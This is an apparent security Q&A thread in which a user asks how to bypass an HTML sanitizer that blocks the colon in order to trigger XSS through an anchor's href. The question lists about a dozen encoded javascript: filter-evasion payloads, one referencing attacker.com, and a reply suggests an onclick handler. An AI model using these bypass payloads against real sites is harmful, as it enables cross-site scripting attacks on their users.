0

I try to bypass a XSS filter to trigger a XSS in url context. But the problem this following char is blacklist ' :' The site allow the user to use some basic html balise like h1, h2, h3, p, a, u, etc ... The only potential vector attack is to trigger the XSS with this <a href='javascript:alert()'></a> But the problem the char ':' is harshly blocked by a htmlsanitizer.

After many research in internet i can not bypass it I have try to use urlencoding and numeric

with numeric encoding the char is automatically decoded and the my payload is blocked.

And with urlencoding the payload is not blocked but the navigator

urlencoding

Note the htmlsanitizer don't block alert(1); into the payload

I have try this following payload and not working

<a href='javascript:alert(1);//https://attacker.com/'>Click</a>
<a href='javascript:%61%6c%65%72%74%28%31%29'>Click</a>
<a href='javascript://%0d%0aprompt(1);com'>Click</a>
<a href='&#106;avascript:alert(1)'>Click</a>
<a href='&#x6A;avascript:alert(1)'>Click</a>
<a href='&#x6A;avascript&#0000058&#0000097lert(1)'>Click</a>
<a href='  &#x8; &#23;   javascript:alert(1)'>Click</a>
<a href='javascript:\u0061lert(1);'>Click</a>
<a href=j&#97v&#97script&#x3A;&#97lert(1)>Click</a>
<a href='javascript:%61%6c%65%72%74%28%31%29'>Click</a>
<a href='javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;'>Click</a>
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(1)&rpar;">Click</a

/!\ Note: I can only control the href attribute, and the quote is escaped /!\

My question is, is possible to trigger a XSS in url context without this following caracter ' : ' ?

Thank you

2
  • When you say : is blocked, is means if the string contains : then the web page returns an error like Ì'm sorry Dave, I'm afraid I can't let you do that? or is the : encoded in some way into the finally-accepted string? – Xenos Sep 22 '20 at 9:56
  • Hi, thank you for reply, when i try to inject javascript:alert(1) the HTML DOM parser add the keyword denied: before javascript like this denied:javascript:alert(1) – Fuzzme Sep 22 '20 at 12:20
1

If, as it seems from your question, you control the entire tag, then you can try <a onclick="alert(1)" href="#">

5
  • That's the way to go. @Project777 are quotes escaped? – Saustin Sep 21 '20 at 18:54
  • you don't even need quotes for that – dandavis Sep 21 '20 at 18:59
  • @dandavis Exact – Fuzzme Sep 21 '20 at 19:23
  • Sry, i have wrong specify, i can only control the href attribute – Fuzzme Sep 21 '20 at 21:43
  • @Saustin, Yes the quotes is escaped, and i can only control the href tag – Fuzzme Sep 21 '20 at 21:43

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.